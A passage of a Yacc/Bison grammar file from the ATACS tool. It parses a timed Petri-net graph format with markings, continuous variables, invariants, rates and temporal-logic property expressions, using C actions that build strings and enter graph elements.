Search is not available for this dataset
content
stringlengths 0
376M
|
---|
<reponame>MyersResearchGroup/ATACS
%{
#define YYSTYPE Node_Ptr
#include "struct.h"
#include "loadg.h"
#include <string>
int yyerror (char*);
int yylex ();
string numToString(int num);
ineqADT parsehsf(string hsf);
int line_num = 1;
bool completed;
#include "glex.c"
%}
%token IDIV MINF MAXF FLOOR CEIL COMMENTS ID INPUTS OUTPUTS INTERNAL GRAPH END INTEGER MARKING NAME INIT_STATE DUMMYS ATACS DISABLE NOT VERIFY SEARCH REAL INF KEEPS NONINPS ABSTRACTS CONTINUOUS RATES PROPERTY INVARIANTS ENABLINGS ASSIGNS RATE_ASSIGNS DELAY_ASSIGNS PRIORITY_ASSIGNS BOOL_ASSIGNS INT_ASSIGNS BOOL_FALSE BOOL_TRUE ASSIGN VARIABLES INITRATES INITVALS INITINTS Pr Ss AU EU EG EF AG AF PG PF PU PX INTEGERS UNIFORM NORMAL EXPONENTIAL GAMMA LOGNORMAL CHISQ LAPLACE CAUCHY RAYLEIGH POISSON BINOMIAL BERNOULLI AND OR XOR IMPLIC TRANS_RATES FAILTRANS INT BIT RATE BOOL NONDISABLING
%%
input : input line
| line
;
line : '\n'
| END '\n'
| GRAPH '\n'
| edges '\n'
| node '\n' /* Transitionless place */
| NAME ID '\n' { free($2); }
| INPUTS inputs '\n'
| OUTPUTS outputs '\n'
| INTERNAL internals '\n'
| ATACS VARIABLES variables '\n'
| DUMMYS dummys '\n'
| ATACS DUMMYS dummys '\n'
| ATACS FAILTRANS failtrans '\n'
| ATACS NONDISABLING nondisabling '\n'
| ATACS KEEPS keeps '\n'
| ATACS ABSTRACTS abstracts '\n'
| ATACS NONINPS noninps '\n'
| ATACS CONTINUOUS continuous '\n'
| ATACS PROPERTY property '\n'
| ATACS INIT_STATE init_state '\n'
| ATACS MARKING marking '\n'
| ATACS INITRATES init_rates '\n'
| ATACS INITVALS init_vals '\n'
| ATACS RATES rates '\n'
| ATACS INVARIANTS invariants '\n'
| ATACS ENABLINGS enables '\n'
| ATACS ASSIGNS assigns '\n'
| ATACS RATE_ASSIGNS rate_assigns '\n'
| ATACS DELAY_ASSIGNS delay_assigns '\n'
| ATACS PRIORITY_ASSIGNS priority_assigns '\n'
| ATACS TRANS_RATES transition_rates '\n'
| ATACS BOOL_ASSIGNS bool_assigns '\n'
| MARKING marking '\n'
| ATACS VERIFY '{' vevents '}' '\n'
| ATACS SEARCH
{
$$ = Enter_IO (DUMMY_NODE, "dummy");
Node_Ptr n = Enter_Place ("dummy_p");
Enter_Pred (n, $$);
Enter_Succ (n,$$,0,INFIN,0,(-1)*INFIN,INFIN,NULL,
NULL,NULL,false,0.0,1);
} '{' sevents '}' '\n'
;
inputs :
| inputs ID
{
$$ = Enter_IO (INPUT_NODE, (char*)$2);
}
;
outputs :
| outputs ID
{
$$ = Enter_IO (OUTPUT_NODE, (char*)$2);
}
;
internals :
| internals ID
{
$$ = Enter_IO (INTERNAL_NODE, (char*)$2);
}
;
variables :
| variables ID
{
$$ = Enter_Variable((char*)$2);
}
;
variable : ID
{
$$ = Enter_Variable((char*)$1);
}
;
dummys :
| dummys ID
{
$$ = Enter_IO (DUMMY_NODE, (char*)$2);
}
| dummys ID '+'
{
$$ = Enter_IO (DUMMY_NODE, strcat((char*)$2,"+"));
}
| dummys ID '-'
{
$$ = Enter_IO (DUMMY_NODE, strcat((char*)$2,"-"));
}
;
failtrans :
| failtrans ID
{
Enter_FailTrans ((char*)$2);
}
;
nondisabling :
| nondisabling ID
{
Enter_NonDisabling ((char*)$2);
}
;
keeps :
| keeps ID
{
Enter_Keep ((char*)$2);
free($2);
}
;
abstracts :
| abstracts ID
{
Enter_Abstract ((char*)$2);
free($2);
}
;
noninps :
| noninps ID
{
Enter_NonInp ((char*)$2);
free($2);
}
;
continuous :
| continuous ID
{
Enter_Cont ((char*)$2,(-1)*INFIN,INFIN);
free($2);
}
| continuous ID '[' '-' INF ',' '-' INTEGER ']'
{
Enter_Cont ((char*)$2,(-1)*INFIN,(-1)*atoi((char*)$8));
free($2);
free($8);
}
| continuous ID '[' '-' INTEGER ',' '-' INTEGER ']'
{
Enter_Cont ((char*)$2,(-1)*atoi((char*)$5),
(-1)*atoi((char*)$8));
free($2);
free($5);
free($8);
}
| continuous ID '[' '-' INF ',' INTEGER ']'
{
Enter_Cont ((char*)$2,(-1)*INFIN,atoi((char*)$7));
free($2);
free($7);
}
| continuous ID '[' '-' INTEGER ',' INTEGER ']'
{
Enter_Cont ((char*)$2,(-1)*atoi((char*)$5),
atoi((char*)$7));
free($2);
free($5);
free($7);
}
| continuous ID '[' INTEGER ',' INTEGER ']'
{
Enter_Cont ((char*)$2,atoi((char*)$4),atoi((char*)$6));
free($2);
free($4);
free($6);
}
| continuous ID '[' '-' INF ',' INF ']'
{
Enter_Cont ((char*)$2,(-1)*INFIN,INFIN);
free($2);
}
| continuous ID '[' '-' INTEGER ',' INF ']'
{
Enter_Cont ((char*)$2,(-1)*atoi((char*)$5),INFIN);
free($2);
free($5);
}
| continuous ID '[' INTEGER ',' INF ']'
{
Enter_Cont ((char*)$2,atoi((char*)$4),INFIN);
free($2);
free($4);
}
;
property : probproperty
{
Enter_Prop((char*)$1);
free($1);
}
| props
{
Enter_Prop((char*)$1);
free($1);
}
;
probproperty : hsf
| Pr relop REAL '{' probprop '}'
{
$$ = (Node*)GetBlock (strlen((char*)$2)+strlen((char*)$3)+
strlen((char*)$5)+5);
strcpy((char*)$$,"Pr");
strcat((char*)$$, (char*)$2);
strcat((char*)$$, (char*)$3);
strcat((char*)$$, "{");
strcat((char*)$$, (char*)$5);
strcat((char*)$$, "}");
free($2);
free($3);
free($5);
}
| Pr '=' '?' '{' probprop '}'
{
$$ = (Node*)GetBlock (strlen((char*)$5)+7);
strcpy((char*)$$,"Pr");
strcat((char*)$$,"=");
strcat((char*)$$,"?");
strcat((char*)$$, "{");
strcat((char*)$$, (char*)$5);
strcat((char*)$$, "}");
free($5);
}
| Ss relop REAL '{' probproperty '}'
{
$$ = (Node*)GetBlock (strlen((char*)$2)+strlen((char*)$3)+
strlen((char*)$5)+5);
strcpy((char*)$$,"SS");
strcat((char*)$$, (char*)$2);
strcat((char*)$$, (char*)$3);
strcat((char*)$$, "{");
strcat((char*)$$, (char*)$5);
strcat((char*)$$, "}");
free($2);
free($3);
free($5);
}
| Ss '=' '?' '{' probproperty '}'
{
$$ = (Node*)GetBlock (strlen((char*)$5)+7);
strcpy((char*)$$,"SS");
strcat((char*)$$,"=");
strcat((char*)$$,"?");
strcat((char*)$$, "{");
strcat((char*)$$, (char*)$5);
strcat((char*)$$, "}");
free($5);
}
;
probprop : PG bound '(' probproperty ')'
{
int boundlen = 0;
if ($2) boundlen = strlen((char*)$2);
$$ = (Node*)GetBlock(boundlen+
strlen((char*)$4)+5);
strcat((char*)$$,"PG(");
if ($2) strcat((char*)$$,(char*)$2);
strcat((char*)$$,(char*)$4);
strcat((char*)$$,")");
if ($2) free($2);
free($4);
}
| PF bound '(' probproperty ')'
{
int boundlen = 0;
if ($2) boundlen = strlen((char*)$2);
$$ = (Node*)GetBlock(boundlen+
strlen((char*)$4)+5);
strcat((char*)$$,"PF(");
if ($2) strcat((char*)$$,(char*)$2);
strcat((char*)$$,(char*)$4);
strcat((char*)$$,")");
if ($2) free($2);
free($4);
}
| PX '(' probproperty ')'
{
$$ = (Node*)GetBlock(strlen((char*)$3)+5);
strcat((char*)$$,"PX(");
strcat((char*)$$,(char*)$3);
strcat((char*)$$,")");
free($3);
}
| probproperty PU bound probproperty
{
int boundlen = 0;
if ($3) boundlen = strlen((char*)$3);
$$ = (Node*)GetBlock (strlen((char*)$1)+
boundlen+4+
strlen((char*)$4));
strcpy((char*)$$,(char*)$1);
strcat((char*)$$,"PU");
if ($3) strcat((char*)$$,(char*)$3);
strcat((char*)$$,(char*)$4);
free($1);
if ($3) free($3);
free($4);
}
;
props : prop andprop
{
$$ = (Node*)GetBlock (strlen((char*)$1)+
strlen((char*)$2)+2);
strcpy((char*)$$,(char*)$1);
strcat((char*)$$,"&");
strcat((char*)$$,(char*)$2);
free($1);
free($2);
}
| prop orprop
{
$$ = (Node*)GetBlock (strlen((char*)$1)+
strlen((char*)$2)+2);
strcpy((char*)$$,(char*)$1);
strcat((char*)$$,"|");
strcat((char*)$$,(char*)$2);
free($1);
free($2);
}
| prop impliesprop
{
$$ = (Node*)GetBlock (strlen((char*)$1)+
strlen((char*)$2)+3);
strcpy((char*)$$,(char*)$1);
strcat((char*)$$,"->");
strcat((char*)$$,(char*)$2);
free($1);
free($2);
}
| prop
;
andprop : andprop '&' prop
{
$$ = (Node*)GetBlock (strlen((char*)$1)+
strlen((char*)$3)+2);
strcpy((char*)$$,(char*)$1);
strcat((char*)$$,"&");
strcat((char*)$$,(char*)$3);
free($1);
free($3);
}
| '&' prop
{
$$ = $2;
}
;
orprop : orprop '|' prop
{
$$ = (Node*)GetBlock (strlen((char*)$1)+
strlen((char*)$3)+2);
strcpy((char*)$$,(char*)$1);
strcat((char*)$$,"|");
strcat((char*)$$,(char*)$3);
free($1);
free($3);
}
| '|' prop
{
$$ = $2;
}
;
impliesprop : impliesprop '-' '>' prop
{
$$ = (Node*)GetBlock (strlen((char*)$1)+
strlen((char*)$4)+3);
strcpy((char*)$$,(char*)$1);
strcat((char*)$$,"->");
strcat((char*)$$,(char*)$4);
free($1);
free($4);
}
| '-' '>' prop
{
$$ = $3;
}
;
prop : fronttype bound '(' prop ')'
{
int boundlen = 0;
if ($2) boundlen = strlen((char*)$2);
$$ = (Node*)GetBlock(strlen((char*)$1)+
boundlen+
strlen((char*)$4)+3);
strcpy((char*)$$,(char*)$1);
strcat((char*)$$,"(");
if ($2) strcat((char*)$$,(char*)$2);
strcat((char*)$$,(char*)$4);
strcat((char*)$$,")");
if ($2) free($2);
free($4);
}
| fronttype bound '(' hsf ')'
{
int boundlen = 0;
if ($2) boundlen = strlen((char*)$2);
$$ = (Node*)GetBlock(strlen((char*)$1)+
boundlen+
strlen((char*)$4)+3);
strcpy((char*)$$,(char*)$1);
strcat((char*)$$,"(");
if ($2) strcat((char*)$$,(char*)$2);
strcat((char*)$$,(char*)$4);
strcat((char*)$$,")");
if($2) free($2);
free($4);
}
| midprop
;
midprop : '{' propinner '}'
{
$$ = (Node*)GetBlock (strlen((char*)$2)+3);
strcpy((char*)$$,"{");
strcat((char*)$$,(char*)$2);
strcat((char*)$$,"}");
free($2);
}
;
propinner : prop midtype bound prop
{
int boundlen = 0;
if ($3) boundlen = strlen((char*)$3);
$$ = (Node*)GetBlock (strlen((char*)$1)+
strlen((char*)$2)+
boundlen+1+
strlen((char*)$4));
strcpy((char*)$$,(char*)$1);
strcat((char*)$$,(char*)$2);
if ($3) strcat((char*)$$,(char*)$3);
strcat((char*)$$,(char*)$4);
free($1);
if ($3) free($3);
free($4);
}
| prop midtype bound hsf
{
int boundlen = 0;
if ($3) boundlen = strlen((char*)$3);
$$ = (Node*)GetBlock (strlen((char*)$1)+
strlen((char*)$2)+
boundlen+1+
strlen((char*)$4));
strcpy((char*)$$,(char*)$1);
strcat((char*)$$,(char*)$2);
if ($3) strcat((char*)$$,(char*)$3);
strcat((char*)$$,(char*)$4);
free($1);
if ($3) free($3);
free($4);
}
| hsf midtype bound prop
{
int boundlen = 0;
if ($3) boundlen = strlen((char*)$3);
$$ = (Node*)GetBlock (strlen((char*)$1)+
strlen((char*)$2)+
boundlen+1+
strlen((char*)$4));
strcpy((char*)$$,(char*)$1);
strcat((char*)$$,(char*)$2);
if ($3) strcat((char*)$$,(char*)$3);
strcat((char*)$$,(char*)$4);
free($1);
if ($3) free($3);
free($4);
}
| hsf midtype bound hsf
{
int boundlen = 0;
if ($3) boundlen = strlen((char*)$3);
$$ = (Node*)GetBlock (strlen((char*)$1)+
strlen((char*)$2)+
boundlen+1+
strlen((char*)$4));
strcpy((char*)$$,(char*)$1);
strcat((char*)$$,(char*)$2);
if ($3) strcat((char*)$$,(char*)$3);
strcat((char*)$$,(char*)$4);
free($1);
if ($3) free($3);
free($4);
}
;
fronttype : AG {$$=(Node*)CopyString("AG");}
| AF {$$=(Node*)CopyString("AF");}
| EG {$$=(Node*)CopyString("EG");}
| EF {$$=(Node*)CopyString("EF");}
;
midtype : AU {$$=(Node*)CopyString("AU");}
| EU {$$=(Node*)CopyString("EU");}
;
bound : '[' relop hsf ']'
{
$$ = (Node*)GetBlock (strlen((char*)$2)+
strlen((char*)$3)+3);
strcpy((char*)$$,"[");
strcat((char*)$$,(char*)$2);
strcat((char*)$$,(char*)$3);
strcat((char*)$$,"]");
free($2);
free($3);
}
| '[' hsf ',' hsf ']'
{
$$ = (Node*)GetBlock (strlen((char*)$2)+
strlen((char*)$4)+4);
strcpy((char*)$$,"[");
strcat((char*)$$,(char*)$2);
strcpy((char*)$$,",");
strcat((char*)$$,(char*)$4);
strcat((char*)$$,"]");
free($2);
free($4);
}
| { $$ = NULL;}
;
init_state : '[' INTEGER ']'
{
Set_Initial_State((char*)$2);
free($2);
}
| '[' ID ']'
{
Set_Initial_State((char*)$2);
free($2);
}
| '[' ']'
;
place : ID
{
$$ = Enter_Place ((char*)$1);
}
;
marking : '{' marking_set '}'
;
marking_set : marking_set mark
| mark
;
mark : '<' signal_trans ',' signal_trans '>'
{
Enter_Mark (&initial_marking, EDGE_MARK, $2, $4, 1, 1);
}
| '<' place ',' signal_trans '>'
{
Enter_Mark (&initial_marking, EDGE_MARK, $2, $4, 1, 1);
}
| '<' signal_trans ',' place '>'
{
Enter_Mark (&initial_marking, EDGE_MARK, $2, $4, 1, 1);
}
| '<' place ',' place '>'
{
Enter_Mark (&initial_marking, EDGE_MARK, $2, $4, 1, 1);
}
| place
{
Enter_Mark (&initial_marking, PLACE_MARK, NULL, $1, 1, 1);
}
| '<' place '=' INTEGER '>'
{
Enter_Mark (&initial_marking, PLACE_MARK, NULL,
$2,atoi((char*)$4),
atoi((char*)$4));
free($4);
}
| '<' place '=' '-' INTEGER '>'
{
Enter_Mark (&initial_marking, PLACE_MARK, NULL,$2,
(-1)*atoi((char*)$4),(-1)*atoi((char*)$4));
free($4);
}
| '<' place '=' '[' '-' INF ',' '-' INTEGER ']' '>'
{
Enter_Mark (&initial_marking, PLACE_MARK, NULL,
$2,(-1)*INFIN,
(-1)*atoi((char*)$9));
free($9);
}
| '<' place '=' '[' '-' INTEGER ',' '-' INTEGER ']' '>'
{
Enter_Mark (&initial_marking, PLACE_MARK, NULL,$2,
(-1)*atoi((char*)$6),(-1)*atoi((char*)$9));
free($6);
free($9);
}
| '<' place '=' '[' '-' INF ',' INTEGER ']' '>'
{
Enter_Mark (&initial_marking, PLACE_MARK, NULL,
$2,(-1)*INFIN,
(-1)*atoi((char*)$8));
free($8);
}
| '<' place '=' '[' '-' INTEGER ',' INTEGER ']' '>'
{
Enter_Mark (&initial_marking, PLACE_MARK, NULL,$2,
(-1)*atoi((char*)$6),(-1)*atoi((char*)$8));
free($6);
free($8);
}
| '<' place '=' '[' INTEGER ',' INTEGER ']' '>'
{
Enter_Mark (&initial_marking, PLACE_MARK, NULL,
$2,atoi((char*)$5),
atoi((char*)$7));
free($5);
free($7);
}
| '<' place '=' '[' '-' INF ',' INF ']' '>'
{
Enter_Mark (&initial_marking, PLACE_MARK, NULL,$2,
(-1)*INFIN,INFIN);
}
| '<' place '=' '[' '-' INTEGER ',' INF ']' '>'
{
Enter_Mark (&initial_marking, PLACE_MARK, NULL,$2,
(-1)*atoi((char*)$6),INFIN);
free($6);
}
| '<' place '=' '[' INTEGER ',' INF ']' '>'
{
Enter_Mark (&initial_marking, PLACE_MARK, NULL,
$2,atoi((char*)$5),
INFIN);
free($5);
}
;
init_rates : '{' init_rates_set '}'
;
init_rates_set : init_rates_set init_rate
| /*init_rate*/
;
init_rate : '<' variable '=' INTEGER '>'
{
Enter_Mark (&initial_marking, RATE_MARK, NULL,
$2,atoi((char*)$4),atoi((char*)$4));
free($4);
}
| '<' variable '=' '-' INTEGER '>'
{
Enter_Mark (&initial_marking, RATE_MARK, NULL,$2,
(-1)*atoi((char*)$5),(-1)*atoi((char*)$5));
free($4);
}
| '<' variable '=' '[' '-' INF ',' '-' INTEGER ']' '>'
{
Enter_Mark (&initial_marking, RATE_MARK, NULL,
$2,(-1)*INFIN,(-1)*atoi((char*)$9));
free($9);
}
| '<' variable '=' '[' '-' INTEGER ',' '-' INTEGER ']' '>'
{
Enter_Mark (&initial_marking, RATE_MARK, NULL,$2,
(-1)*atoi((char*)$6),(-1)*atoi((char*)$9));
free($6);
free($9);
}
| '<' variable '=' '[' '-' INF ',' INTEGER ']' '>'
{
Enter_Mark (&initial_marking, RATE_MARK, NULL,
$2,(-1)*INFIN,(-1)*atoi((char*)$8));
free($8);
}
| '<' variable '=' '[' '-' INTEGER ',' INTEGER ']' '>'
{
Enter_Mark (&initial_marking, RATE_MARK, NULL,$2,
(-1)*atoi((char*)$6),(-1)*atoi((char*)$8));
free($6);
free($8);
}
| '<' variable '=' '[' INTEGER ',' INTEGER ']' '>'
{
Enter_Mark (&initial_marking, RATE_MARK, NULL,
$2,atoi((char*)$5),atoi((char*)$7));
free($5);
free($7);
}
| '<' variable '=' '[' '-' INF ',' INF ']' '>'
{
Enter_Mark (&initial_marking, RATE_MARK, NULL,$2,
(-1)*INFIN,INFIN);
}
| '<' variable '=' '[' '-' INTEGER ':' INF ']' '>'
{
Enter_Mark (&initial_marking, RATE_MARK, NULL,$2,
(-1)*atoi((char*)$6),INFIN);
free($6);
}
| '<' variable '=' '[' INTEGER ',' INF ']' '>'
{
Enter_Mark (&initial_marking, RATE_MARK, NULL,
$2,atoi((char*)$5),INFIN);
free($5);
}
;
init_vals : '{' init_vals_set '}'
;
init_vals_set : init_vals_set init_val
| /*init_val*/
;
init_val : '<' variable '=' INTEGER '>'
{
Enter_Mark (&initial_marking, VAR_MARK, NULL,
$2,atoi((char*)$4),
atoi((char*)$4));
free($4);
}
| '<' variable '=' '-' INTEGER '>'
{
Enter_Mark (&initial_marking, VAR_MARK, NULL,$2,
(-1)*atoi((char*)$5),(-1)*atoi((char*)$5));
free($4);
}
| '<' variable '=' '[' '-' INF ',' '-' INTEGER ']' '>'
{
Enter_Mark (&initial_marking, VAR_MARK, NULL,
$2,(-1)*INFIN,
(-1)*atoi((char*)$9));
free($9);
}
| '<' variable '=' '[' '-' INTEGER ',' '-' INTEGER ']' '>'
{
Enter_Mark (&initial_marking, VAR_MARK, NULL,$2,
(-1)*atoi((char*)$6),(-1)*atoi((char*)$9));
free($6);
free($9);
}
| '<' variable '=' '[' '-' INF ',' INTEGER ']' '>'
{
Enter_Mark (&initial_marking, VAR_MARK, NULL,
$2,(-1)*INFIN,
(-1)*atoi((char*)$8));
free($8);
}
| '<' variable '=' '[' '-' INTEGER ',' INTEGER ']' '>'
{
Enter_Mark (&initial_marking,VAR_MARK, NULL,$2,
(-1)*atoi((char*)$6),(-1)*atoi((char*)$8));
free($6);
free($8);
}
| '<' variable '=' '[' INTEGER ',' INTEGER ']' '>'
{
Enter_Mark (&initial_marking, VAR_MARK, NULL,
$2,atoi((char*)$5),
atoi((char*)$7));
free($5);
free($7);
}
| '<' variable '=' '[' '-' INF ',' INF ']' '>'
{
Enter_Mark (&initial_marking, VAR_MARK, NULL,$2,
(-1)*INFIN,INFIN);
}
| '<' variable '=' '[' '-' INTEGER ',' INF ']' '>'
{
Enter_Mark (&initial_marking, VAR_MARK, NULL,$2,
(-1)*atoi((char*)$6),INFIN);
free($6);
}
| '<' variable '=' '[' INTEGER ',' INF ']' '>'
{
Enter_Mark (&initial_marking, VAR_MARK, NULL,
$2,atoi((char*)$5),
INFIN);
free($5);
}
;
rates : '{' rate_set '}'
;
rate_set : rate_set trate
| /*trate*/
;
trate : '<' place '=' INTEGER '>'
{
Enter_Trate ($2,atoi((char*)$4),atoi((char*)$4));
free($4);
}
| '<' place '=' '[' INTEGER ',' INTEGER ']' '>'
{
Enter_Trate ($2,atoi((char*)$5),atoi((char*)$7));
free($5);
free($7);
}
;
invariants : '{' invariant_set '}'
;
invariant_set : invariant_set invariant
| /*invariant*/
;
invariant : '<' place '=' '[' hsf_ineqs']' '>'
{
string hsfs = (char*)$5;
ineqADT ineqs = NULL;
ineqADT temp;
string hsf;
while (hsfs.find("&") != string::npos ||
hsfs.find("|") != string::npos) {
if (hsfs.find("&") < hsfs.find("|")) {
hsf = hsfs.substr(0,hsfs.find("&"));
hsfs = hsfs.substr(hsfs.find("&")+1,string::npos);
} else {
hsf = hsfs.substr(0,hsfs.find("|"));
hsfs = hsfs.substr(hsfs.find("|")+1,string::npos);
}
temp = parsehsf(hsf);
if (temp) {
if (!ineqs)
ineqs = temp;
else {
for (ineqADT step = ineqs; step;
step = step->next) {
if (!step->next) {
step->next = temp;
break;
}
}
}
}
}
hsf = hsfs;
temp = parsehsf(hsf);
if (temp) {
if (!ineqs)
ineqs = temp;
else {
for (ineqADT step = ineqs; step;
step = step->next) {
if (!step->next) {
step->next = temp;
break;
}
}
}
}
if (!$2->inequalities) {
$2->inequalities = ineqs;
}
else {
for (ineqADT step = $2->inequalities; step;
step = step->next) {
if (!step->next) {
step->next = temp;
break;
}
}
}
Enter_Hsl($2,(char*)$5);
free($5);
}
;
edges : edge
{
}
;
edge : edge node
{
$$ = $1;
Enter_Pred ($1, $2);
Enter_Succ ($1, $2, 0, INFIN, 0, (-1)*INFIN, INFIN, NULL,
NULL,NULL,false, 1.0, 1);
}
| node node
{
$$ = $1;
Enter_Pred ($1, $2);
Enter_Succ ($1, $2, 0, INFIN, 0, (-1)*INFIN, INFIN, NULL,
NULL,NULL, false, 1.0, 1);
}
| node node ATACS cons expr plow pup lower upper rate weight
{
$$ = $1;
int predtype=0;
int plower=-INFIN;
if ($6) {
if (strchr((char*)$6,'\\'))
predtype=2;
*(((char*)$6)+strlen((char*)$6)-1)='\0';
if (strcmp((char*)$6,"-inf")!=0)
plower=atoi((char*)$6);
free($6);
}
int pupper=INFIN;
if ($7) {
if (strchr((char*)$7,'/'))
predtype=predtype+1;
*(((char*)$7)+strlen((char*)$7)-1)='\0';
if (strcmp((char*)$7,"inf")!=0)
pupper=atoi((char*)$7);
free($7);
}
int lower=0;
if ($8) {
lower=atoi((char*)$8);
free($8);
}
int upper=INFIN;
if ($9) {
if (strcmp((char*)$9,"inf")!=0)
upper=atoi((char*)$9);
free($9);
}
double rate=1.0;
if ($10) {
rate=atof((char*)$10);
free($10);
}
int weight=1;
if ($11) {
weight=atoi((char*)$11);
free($11);
}
Enter_Pred ($1, $2);
Enter_Succ ($1, $2,lower,upper,predtype,plower,pupper,
(char*)$5, NULL,(char*)$4,false,rate,weight);
}
| node node ATACS cons exprd plow pup lower upper rate weight
{
$$ = $1;
int predtype=0;
int plower=-INFIN;
if ($6) {
if (strchr((char*)$6,'\\'))
predtype=2;
*(((char*)$6)+strlen((char*)$6)-1)='\0';
if (strcmp((char*)$6,"-inf")!=0)
plower=atoi((char*)$6);
free($6);
}
int pupper=INFIN;
if ($7) {
if (strchr((char*)$7,'/'))
predtype=predtype+1;
*(((char*)$7)+strlen((char*)$7)-1)='\0';
if (strcmp((char*)$7,"inf")!=0)
pupper=atoi((char*)$7);
free($7);
}
int lower=0;
if ($8) {
lower=atoi((char*)$8);
free($8);
}
int upper=INFIN;
if ($9) {
if (strcmp((char*)$9,"inf")!=0)
upper=atoi((char*)$9);
free($9);
}
double rate=1.0;
if ($10) {
rate=atof((char*)$10);
free($10);
}
int weight=1;
if ($11) {
weight=atoi((char*)$11);
free($11);
}
Enter_Pred ($1, $2);
Enter_Succ ($1, $2,lower,upper,predtype,plower,pupper,
(char*)$5,NULL,(char*)$4,true,rate,weight);
}
;
cons : { $$ = NULL; }
| '{' ID '}' { $$ = $2; }
;
expr : { $$ = NULL; }
| '(' hsf ')' { $$ = $2; }
/* | '<' ID ';' ineqs '>' { $$ = $2; } */
;
hsf : hsf '|' andexpr
{
$$ = (Node*)GetBlock (strlen((char*)$1)+
strlen((char*)$3)+2);
strcpy((char*)$$,(char*)$1);
strcat((char*)$$,"|");
strcat((char*)$$,(char*)$3);
free($1);
free($3);
}
| hsf IMPLIC andexpr
{
$$ = (Node*)GetBlock (strlen((char*)$1)+
strlen((char*)$3)+3);
strcpy((char*)$$,(char*)$1);
strcat((char*)$$,"->");
strcat((char*)$$,(char*)$3);
free($1);
free($3);
}
| andexpr
;
andexpr : andexpr '&' relation
{
$$ = (Node*)GetBlock (strlen((char*)$1)+
strlen((char*)$3)+2);
strcpy((char*)$$,(char*)$1);
strcat((char*)$$,"&");
strcat((char*)$$,(char*)$3);
free($1);
free($3);
}
| relation
;
relation : '~' relation
{
$$ = (Node*)GetBlock (strlen((char*)$2)+2);
strcpy((char*)$$,"~");
strcat((char*)$$,(char*)$2);
free($2);
}
| BIT '(' arithexpr ',' arithexpr ')'
{
$$ = (Node*)GetBlock (strlen((char*)$3)+
strlen((char*)$5)+7);
strcpy((char*)$$,"BIT(");
strcat((char*)$$,(char*)$3);
strcat((char*)$$,",");
strcat((char*)$$,(char*)$5);
strcat((char*)$$,")");
free($3);
free($5);
}
| arithexpr relop arithexpr
{
$$ = (Node*)GetBlock (strlen((char*)$1)+
strlen((char*)$2)+
strlen((char*)$3)+1);
strcpy((char*)$$,(char*)$1);
strcat((char*)$$,(char*)$2);
strcat((char*)$$,(char*)$3);
free($1);
free($3);
}
| arithexpr
;
arithexpr : arithexpr '+' multexpr
{
$$ = (Node*)GetBlock (strlen((char*)$1)+
strlen((char*)$3)+2);
strcpy((char*)$$,(char*)$1);
strcat((char*)$$,"+");
strcat((char*)$$,(char*)$3);
free($1);
free($3);
}
| arithexpr '-' multexpr
{
$$ = (Node*)GetBlock (strlen((char*)$1)+
strlen((char*)$3)+2);
strcpy((char*)$$,(char*)$1);
strcat((char*)$$,"-");
strcat((char*)$$,(char*)$3);
free($1);
free($3);
}
| multexpr
;
multexpr : multexpr ID //term
{
$$ = (Node*)GetBlock (strlen((char*)$1)+
strlen((char*)$2)+2);
strcpy((char*)$$,(char*)$1);
strcat((char*)$$,"*");
strcat((char*)$$,(char*)$2);
free($1);
free($2);
}
| multexpr '*' term
{
$$ = (Node*)GetBlock (strlen((char*)$1)+
strlen((char*)$3)+2);
strcpy((char*)$$,(char*)$1);
strcat((char*)$$,"*");
strcat((char*)$$,(char*)$3);
free($1);
free($3);
}
| multexpr '/' term
{
$$ = (Node*)GetBlock (strlen((char*)$1)+
strlen((char*)$3)+2);
strcpy((char*)$$,(char*)$1);
strcat((char*)$$,"/");
strcat((char*)$$,(char*)$3);
free($1);
free($3);
}
| multexpr '%' term
{
$$ = (Node*)GetBlock (strlen((char*)$1)+
strlen((char*)$3)+2);
strcpy((char*)$$,(char*)$1);
strcat((char*)$$,"%");
strcat((char*)$$,(char*)$3);
free($1);
free($3);
}
| multexpr '^' term
{
$$ = (Node*)GetBlock (strlen((char*)$1)+
strlen((char*)$3)+2);
strcpy((char*)$$,(char*)$1);
strcat((char*)$$,"^");
strcat((char*)$$,(char*)$3);
free($1);
free($3);
}
| term
;
term :'(' hsf ')'
{
$$ = (Node*)GetBlock (strlen((char*)$2)+3);
strcpy((char*)$$,"(");
strcat((char*)$$,(char*)$2);
strcat((char*)$$,")");
free($2);
}
| RATE '(' ID ')'
{
$$ = (Node*)GetBlock (strlen((char*)$3)+7);
strcpy((char*)$$,"rate(");
strcat((char*)$$,(char*)$3);
strcat((char*)$$,")");
free($3);
}
| INT '(' hsf ')'
{
$$ = (Node*)GetBlock (strlen((char*)$3)+6);
strcpy((char*)$$,"INT(");
strcat((char*)$$,(char*)$3);
strcat((char*)$$,")");
free($3);
}
| ID
| '-' term
{
$$ = (Node*)GetBlock (strlen((char*)$2)+2);
strcpy((char*)$$,"-");
strcat((char*)$$,(char*)$2);
free($2);
}
| BOOL_FALSE
{
$$ = (Node*)GetBlock(6);
strcpy((char*)$$,"false");
}
| BOOL_TRUE
{
$$ = (Node*)GetBlock(5);
strcpy((char*)$$,"true");
}
| unop '(' arithexpr ')'
{
$$ = (Node*)GetBlock (strlen((char*)$1)+
strlen((char*)$3)+3);
strcpy((char*)$$,(char*)$1);
strcat((char*)$$,"(");
strcat((char*)$$,(char*)$3);
strcat((char*)$$,")");
free($1);
free($3);
}
| binop '(' arithexpr ',' arithexpr ')'
{
$$ = (Node*)GetBlock (strlen((char*)$1)+
strlen((char*)$3)+
strlen((char*)$5)+4);
strcpy((char*)$$,(char*)$1);
strcat((char*)$$,"(");
strcat((char*)$$,(char*)$3);
strcat((char*)$$,",");
strcat((char*)$$,(char*)$5);
strcat((char*)$$,")");
free($1);
free($3);
free($5);
}
| INTEGER
| REAL
| INF
;
relop : '=' { $$ = (Node*)CopyString("="); }
| '<' { $$ = (Node*)CopyString("<"); }
| '<' '=' { $$ = (Node*)CopyString("<="); }
| '>' { $$ = (Node*)CopyString(">"); }
| '>' '=' { $$ = (Node*)CopyString(">="); }
;
unop : NOT
| EXPONENTIAL
| CHISQ
| LAPLACE
| CAUCHY
| RAYLEIGH
| POISSON
| BERNOULLI
| BOOL
| FLOOR
| CEIL
;
binop : OR
| AND
| XOR
| UNIFORM
| NORMAL
| GAMMA
| LOGNORMAL
| BINOMIAL
| MINF
| MAXF
| IDIV
;
ineqs : ineqs ';' ineq
{
$$ = $3;
((ineqADT)$3)->next = (ineqADT)$1;
}
| ineq
{ $$ = $1; }
;
hsf_ineqs : hsf_ineqs ';' hsf
{
$$ = (Node*)GetBlock(strlen((char*)$1)+
strlen((char*)$3)+2);
strcpy((char*)$$, (char*)$1);
strcat((char*)$$, "&");
strcat((char*)$$, (char*)$3);
//free($1);
//free($3);
}
| hsf
;
